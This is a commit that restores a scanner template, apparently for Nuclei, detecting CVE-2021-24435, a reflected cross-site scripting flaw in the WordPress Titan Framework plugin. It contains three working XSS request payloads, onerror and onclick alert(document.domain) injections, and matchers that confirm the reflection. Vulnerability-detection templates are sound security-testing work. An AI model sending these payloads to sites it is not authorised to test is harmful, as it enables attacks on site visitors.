Revert "Delete CVE-2021-24435.yaml"

This reverts commit 0cc767f24e.

http/cves/2021/CVE-2021-24435.yaml

@@ -0,0 +1,54 @@
+id: CVE-2021-24435
+
+info:
+  name: WordPress Titan Framework plugin <= 1.12.1 - Cross-Site Scripting
+  author: xcapri,ritikchaddha
+  severity: medium
+  description: |
+    The iframe-font-preview.php file of the titan-framework does not properly escape the font-weight and font-family GET parameters before outputting them back in an href attribute, leading to Reflected Cross-Site Scripting issues.
+  reference:
+    - https://wpscan.com/vulnerability/a88ffc42-6611-406e-8660-3af24c9cc5e8
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24435
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-24435
+    - https://patchstack.com/database/vulnerability/titan-framework/wordpress-titan-framework-plugin-1-12-1-reflected-cross-site-scripting-xss-vulnerability
+  remediation: Fixed in version 2.7.12
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2021-24435
+    cwe-id: CWE-79
+    epss-score: 0.0014
+    cpe: cpe:2.3:a:gambit:titan_framework:*:*:*:*:*:wordpress:*:*
+  metadata:
+    max-request: 3
+    verified: true
+    framework: wordpress
+    vendor: gambit
+    product: titan_framework
+  tags: wp,xss,wp-plugin,titan-framework,wpscan,cve,cve2021,wordpress
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=%27/onerror=%27alert(document.domain)%27/b=%27"
+      - "{{BaseURL}}/titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=aaaaa&font-weight=%27%20onerror=alert(document.domain)%20b=%27"
+      - "{{BaseURL}}/titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=aaaaa&font-weight=%27%20accesskey=%27x%27%20onclick=%27alert(document.domain)%27%20class=%27"
+
+    stop-at-first-match: true
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: header
+        words:
+          - "text/html"
+
+      - type: regex
+        regex:
+          - (?i)(onerror=|onclick=)['"]?alert\(document\.domain\)['"]?
+          - '<p>Grumpy wizards make'
+        condition: and
+
+      - type: status
+        status:
+          - 200